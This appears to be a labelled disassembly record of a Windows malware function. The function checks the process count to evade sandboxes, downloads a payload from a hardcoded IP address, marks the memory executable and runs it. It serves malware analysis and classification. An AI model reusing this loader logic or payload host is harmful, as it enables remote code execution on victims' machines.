Function at 0x402830
Capabilities:
Create http request
Enumerate processes
Get http content length
Read data from internet
Receive data
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1fc
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x405c00
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
lea eax, [ebp - 0xe0]
push 0x30b4
push eax
call fcn.004024c0
add esp, 8
mov eax, dword [esi + 8]
mov dword [0x43607c], eax
push str.Start_n
call fcn.00401f20
add esp, 4
mov dword [ebp - 0x10], 0
call fcn.00401dd0
test eax, eax
je 0x40307f
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
je 0x40290e
mov esi, eax
lea eax, [ebp - 0x204]
push 0x124
push 0
push eax
call fcn.00409e00
add esp, 0xc
mov dword [ebp - 0x208], 0x128
lea edi, [ebp - 0x208]
push edi
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40307f
mov ebx, 0xffffffff
nop word [eax + eax]
push edi
push esi
call sub.KERNEL32.dll_Process32Next
add ebx, 1
test eax, eax
jne 0x4028f0
cmp ebx, 0x28
jb 0x40307f
mov dword [ebp - 0x10], 0
call fcn.00401b70
mov dword [ebp - 0x208], 0
mov dword [ebp - 0x1f4], 7
mov dword [ebp - 0x1f8], 0
mov word [ebp - 0x208], 0
sub esp, 0xc
mov al, byte [ebp - 0x74]
mov byte [esp + 4], al
mov dword [esp + 8], str.http:__121.62.18.67:5412_24211.bin
mov dword [esp], 0x22
lea ecx, [ebp - 0x208]
call fcn.00403a90
mov eax, dword [ebp - 0x1f8]
cmp dword [ebp - 0x1f4], 7
lea edx, [ebp - 0x208]
jbe 0x402979
mov edx, dword [ebp - 0x208]
lea eax, [edx + eax*2]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x60], 0xf
mov dword [ebp - 0x64], 0
mov byte [ebp - 0x74], 0
mov dword [ebp - 0x10], 1
sub esp, 0xc
mov cl, byte [ebp - 0xb0]
mov byte [esp + 8], cl
mov dword [esp + 4], eax
mov dword [esp], edx
lea ecx, [ebp - 0x74]
call fcn.004055a0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x60], 0xf
lea edx, [ebp - 0x74]
jbe 0x4029c7
mov edx, dword [ebp - 0x74]
mov dword [ebp - 0x10], 2
lea ecx, [ebp - 0xb0]
push eax
push edx
mov dword [ebp - 0x20], ecx
push ecx
call fcn.00401060
add esp, 0xc
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
mov esi, dword [ebp - 0xa0]
cmp dword [ebp - 0x9c], 0xf
jbe 0x402a18
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x20], eax
cmp esi, 0xf
ja 0x402a31
mov eax, dword [ebp - 0x20]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
mov eax, 0xf
jmp 0x402aa0
mov dword [ebp - 0x24], esi
mov eax, esi
or eax, 0xf
cmp eax, 0x7fffffff
mov ecx, 0x7fffffff
cmovb ecx, eax
cmp ecx, 0xfff
mov dword [ebp - 0x28], ecx
jb 0x402a71
lea eax, [ecx + 0x24]
mov dword [ebp - 0x10], 3
push eax
call fcn.00405dc5
add esp, 4
mov ecx, eax
add eax, 0x23
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x402a84
lea eax, [ecx + 1]
mov dword [ebp - 0x10], 3
push eax
call fcn.00405dc5
add esp, 4
mov esi, dword [ebp - 0x24]
mov dword [ebp - 0x98], eax
lea ecx, [esi + 1]
push ecx
push dword [ebp - 0x20]
push eax
call fcn.00409880
add esp, 0xc
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x88], esi
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x10], 4
lea eax, [ebp - 0x98]
lea ecx, [ebp - 0xc8]
push eax
mov dword [ebp - 0x20], ecx
push ecx
call fcn.00401390
add esp, 8
mov edx, dword [ebp - 0xb8]
cmp dword [ebp - 0xb4], 0xf
jbe 0x402ae4
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x34], 0
mov word [ebp - 0x44], 0
mov dword [ebp - 0x10], 5
lea ecx, [ebp - 0x44]
push edx
mov dword [ebp - 0x28], edx
call fcn.00405890
mov edi, dword [ebp - 0x28]
test edi, edi
je 0x402b93
xor ebx, ebx
jmp 0x402b32
mov word [esi + ecx*2], ax
mov word [esi + ecx*2 + 2], 0
add ebx, 1
cmp edi, ebx
je 0x402b93
mov eax, dword [ebp - 0x20]
movsx eax, byte [eax + ebx]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
cmp ecx, edx
jae 0x402b60
lea esi, [ecx + 1]
mov dword [ebp - 0x34], esi
lea esi, [ebp - 0x44]
cmp edx, 7
jbe 0x402b20
mov esi, dword [ebp - 0x44]
jmp 0x402b20
mov dword [ebp - 0x10], 6
sub esp, 0xc
movzx ecx, byte [ebp - 0x5c]
mov byte [esp + 4], cl
movzx eax, ax
mov dword [esp + 8], eax
mov dword [esp], 1
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x24], ebx
call fcn.00405a60
mov ebx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
jmp 0x402b2b
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov esi, dword [ebp - 0x34]
cmp dword [ebp - 0x30], 7
jbe 0x402c0b
mov eax, dword [ebp - 0x44]
cmp esi, 7
jbe 0x402c13
mov dword [ebp - 0x24], eax
mov eax, esi
or eax, 7
cmp eax, 0x7ffffffe
mov ecx, 0x7ffffffe
mov dword [ebp - 0x28], eax
cmovb ecx, eax
lea eax, [ecx + ecx]
cmp ecx, 0x7ff
mov dword [ebp - 0x20], esi
jb 0x402c21
mov dword [ebp - 0x10], 7
cmp ecx, 0x7fffffee
jae 0x40308b
add eax, 0x25
push eax
call fcn.00405dc5
add esp, 4
mov ecx, eax
add eax, 0x23
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x402c34
lea eax, [ebp - 0x44]
cmp esi, 7
ja 0x402bb9
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x5c], xmm0
mov eax, 7
jmp 0x402c50
add eax, 2
mov dword [ebp - 0x10], 7
push eax
call fcn.00405dc5
add esp, 4
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x5c], eax
lea ecx, [esi + esi]
add ecx, 2
push ecx
push dword [ebp - 0x24]
push eax
call fcn.00409880
add esp, 0xc
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x48], eax
sub esp, 0x14
xorps xmm0, xmm0
movups xmmword [esp + 4], xmm0
mov dword [esp], str.Download
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
je 0x402c7f
mov edi, eax
cmp dword [ebp - 0x48], 7
jbe 0x402cab
mov eax, dword [ebp - 0x5c]
jmp 0x402cae
mov dword [ebp - 0x10], 8
push str.Failed_to_initialize_WinINet.
push 0x437410
call fcn.00401f80
add esp, 8
push eax
call fcn.004023e0
mov edi, 1
add esp, 4
jmp 0x402e84
lea eax, [ebp - 0x5c]
sub esp, 0x18
movaps xmm0, xmmword [0x427400]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], eax
mov dword [esp], edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
test eax, eax
je 0x402d79
mov ebx, eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x80], 4
lea eax, [ebp - 0x80]
lea ecx, [ebp - 0x2c]
push 0
push eax
push ecx
push 0x20000005
push ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x402db1
push 4
push 0x3000
push dword [ebp - 0x2c]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x402ddb
mov esi, eax
mov dword [ebp - 0x7c], 0
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x2c]
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
mov dword [ebp - 0x28], esi
je 0x402e05
mov eax, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
mov ebx, eax
call eax
push edi
call ebx
mov dword [ebp - 0x78], 0
lea eax, [ebp - 0x78]
push eax
push 0x20
push dword [ebp - 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x10], 8
test eax, eax
je 0x402e54
call esi
xor edi, edi
jmp 0x402e74
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x10], 8
push str.Failed_to_open_URL.
push 0x437410
call fcn.00401f80
add esp, 8
push eax
call fcn.004023e0
add esp, 4
push dword [ebp - 0x20]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, 1
jmp 0x402e84
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x10], 8
push str.Failed_to_get_file_size.
push 0x437410
call fcn.00401f80
add esp, 8
push eax
call fcn.004023e0
add esp, 4
jmp 0x402e3d
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x10], 8
push str.Failed_to_allocate_memory.
push 0x437410
call fcn.00401f80
add esp, 8
push eax
call fcn.004023e0
add esp, 4
jmp 0x402e3d
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x10], 8
push str.Failed_to_read_file.
push 0x437410
call fcn.00401f80
add esp, 8
push eax
call fcn.004023e0
add esp, 4
push 0x8000
push 0
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x24]
call esi
push dword [ebp - 0x20]
call esi
mov edi, 1
jmp 0x402e84
push str.Failed_to_set_memory_page_protection.
push 0x437410
call fcn.00401f80
add esp, 8
push eax
call fcn.004023e0
mov edi, 1
add esp, 4
push 0x8000
push 0
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 0x48]
cmp ecx, 8
jb 0x402ec1
mov eax, dword [ebp - 0x5c]
lea edx, [ecx + ecx]
add edx, 2
cmp edx, 0x1000
jb 0x402eb7
mov edx, eax
add edx, 0xfffffffc
mov eax, dword [eax - 4]
sub edx, eax
cmp edx, 0x20
jae 0x403086
add ecx, ecx
add ecx, 0x25
mov edx, ecx
push edx
push eax
call fcn.00405dfa
add esp, 8
mov ecx, dword [ebp - 0x30]
cmp ecx, 8
jb 0x402efe
mov eax, dword [ebp - 0x44]
lea edx, [ecx + ecx]
add edx, 2
cmp edx, 0x1000
jb 0x402ef4
mov edx, eax
add edx, 0xfffffffc
mov eax, dword [eax - 4]
sub edx, eax
cmp edx, 0x20
jae 0x403086
add ecx, ecx
add ecx, 0x25
mov edx, ecx
push edx
push eax
call fcn.00405dfa
add esp, 8
mov eax, dword [ebp - 0xb4]
cmp eax, 0x10
jb 0x402f3c
mov ecx, dword [ebp - 0xc8]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x402f32
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x403086
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00405dfa
add esp, 8
mov eax, dword [ebp - 0x84]
cmp eax, 0x10
jb 0x402f7a
mov ecx, dword [ebp - 0x98]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x402f70
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x403086
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00405dfa
add esp, 8
mov eax, dword [ebp - 0x9c]
cmp eax, 0x10
jb 0x402fb8
mov ecx, dword [ebp - 0xb0]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x402fae
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x403086
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00405dfa
add esp, 8
mov eax, dword [ebp - 0x60]
cmp eax, 0x10
jb 0x402ff0
mov ecx, dword [ebp - 0x74]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x402fe6
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x403086
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00405dfa
add esp, 8
mov ecx, dword [ebp - 0x1f4]
cmp ecx, 8
jb 0x40302f
mov eax, dword [ebp - 0x208]
lea edx, [ecx + ecx]
add edx, 2
cmp edx, 0x1000
jb 0x403025
mov edx, eax
add edx, 0xfffffffc
mov eax, dword [eax - 4]
sub edx, eax
cmp edx, 0x20
jae 0x403086
add ecx, ecx
add ecx, 0x25
mov edx, ecx
push edx
push eax
call fcn.00405dfa
add esp, 8
mov eax, dword [ebp - 0xcc]
cmp eax, 0x10
jb 0x403069
mov ecx, dword [ebp - 0xe0]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x40305f
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x403086
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00405dfa
add esp, 8
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, edi
add esp, 0x1fc
pop esi
pop edi
pop ebx
pop ebp
ret
push 1
call fcn.0040be37
call fcn.0040e63a
call fcn.00401810
push ebp
sub esp, 0x18
add ebp, 0xc
mov ecx, dword [ebp - 0x30]
cmp ecx, 8
jb 0x4030d0
mov eax, dword [ebp - 0x44]
lea edx, [ecx + ecx]
add edx, 2
cmp edx, 0x1000
jb 0x4030c6
mov edx, eax
add edx, 0xfffffffc
mov eax, dword [eax - 4]
sub edx, eax
cmp edx, 0x20
jae 0x4030d5
add ecx, ecx
add ecx, 0x25
mov edx, ecx
push edx
push eax
call fcn.00405dfa
add esp, 8
add esp, 0x18
pop ebp
ret
call fcn.0040e63a
nop word [eax + eax]
push ebp
sub esp, 0x18
add ebp, 0xc
mov ecx, dword [ebp - 0x48]
cmp ecx, 8
jb 0x403120
mov eax, dword [ebp - 0x5c]
lea edx, [ecx + ecx]
add edx, 2
cmp edx, 0x1000
jb 0x403116
mov edx, eax
add edx, 0xfffffffc
mov eax, dword [eax - 4]
sub edx, eax
cmp edx, 0x20
jae 0x403125
add ecx, ecx
add ecx, 0x25
mov edx, ecx
push edx
push eax
call fcn.00405dfa
add esp, 8
add esp, 0x18
pop ebp
ret
call fcn.0040e63a
nop word [eax + eax]
push ebp
sub esp, 0x18
add ebp, 0xc
mov ecx, dword [ebp - 0x30]
cmp ecx, 8
jb 0x403170
mov eax, dword [ebp - 0x44]
lea edx, [ecx + ecx]
add edx, 2
cmp edx, 0x1000
jb 0x403166
mov edx, eax
add edx, 0xfffffffc
mov eax, dword [eax - 4]
sub edx, eax
cmp edx, 0x20
jae 0x403175
add ecx, ecx
add ecx, 0x25
mov edx, ecx
push edx
push eax
call fcn.00405dfa
add esp, 8
add esp, 0x18
pop ebp
ret
call fcn.0040e63a
nop word [eax + eax]
push ebp
sub esp, 0x18
add ebp, 0xc
mov eax, dword [ebp - 0xb4]
cmp eax, 0x10
jb 0x4031c1
mov ecx, dword [ebp - 0xc8]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x4031b7
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4031c6
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00405dfa
add esp, 8
add esp, 0x18
pop ebp
ret
call fcn.0040e63a
nop dword [eax + eax]
push ebp
sub esp, 0x18
add ebp, 0xc
mov eax, dword [ebp - 0x84]
cmp eax, 0x10
jb 0x403211
mov ecx, dword [ebp - 0x98]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x403207
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x403216
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00405dfa
add esp, 8
add esp, 0x18
pop ebp
ret
call fcn.0040e63a
nop dword [eax + eax]
push ebp
sub esp, 0x18
add ebp, 0xc
mov eax, dword [ebp - 0x9c]
cmp eax, 0x10
jb 0x403261
mov ecx, dword [ebp - 0xb0]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x403257
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x403266
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00405dfa
add esp, 8
add esp, 0x18
pop ebp
ret
call fcn.0040e63a
nop dword [eax + eax]
push ebp
sub esp, 0x18
add ebp, 0xc
mov eax, dword [ebp - 0x60]
cmp eax, 0x10
jb 0x4032ab
mov ecx, dword [ebp - 0x74]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x4032a1
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x4032b0
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00405dfa
add esp, 8
add esp, 0x18
pop ebp
ret
call fcn.0040e63a
nop word cs:[eax + eax]
nop
push ebp
sub esp, 0x18
add ebp, 0xc
mov ecx, dword [ebp - 0x1f4]
cmp ecx, 8
jb 0x403306
mov eax, dword [ebp - 0x208]
lea edx, [ecx + ecx]
add edx, 2
cmp edx, 0x1000
jb 0x4032fc
mov edx, eax
add edx, 0xfffffffc
mov eax, dword [eax - 4]
sub edx, eax
cmp edx, 0x20
jae 0x403328
add ecx, ecx
add ecx, 0x25
mov edx, ecx
push edx
push eax
call fcn.00405dfa
add esp, 8
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 7
mov word [ebp - 0x208], 0
add esp, 0x18
pop ebp
ret
call fcn.0040e63a
nop dword [eax]
push ebp
sub esp, 0x18
add ebp, 0xc
mov eax, dword [ebp - 0xcc]
cmp eax, 0x10
jb 0x403371
mov ecx, dword [ebp - 0xe0]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x403367
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x403376
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.00405dfa
add esp, 8
add esp, 0x18
pop ebp
ret
call fcn.0040e63a
int3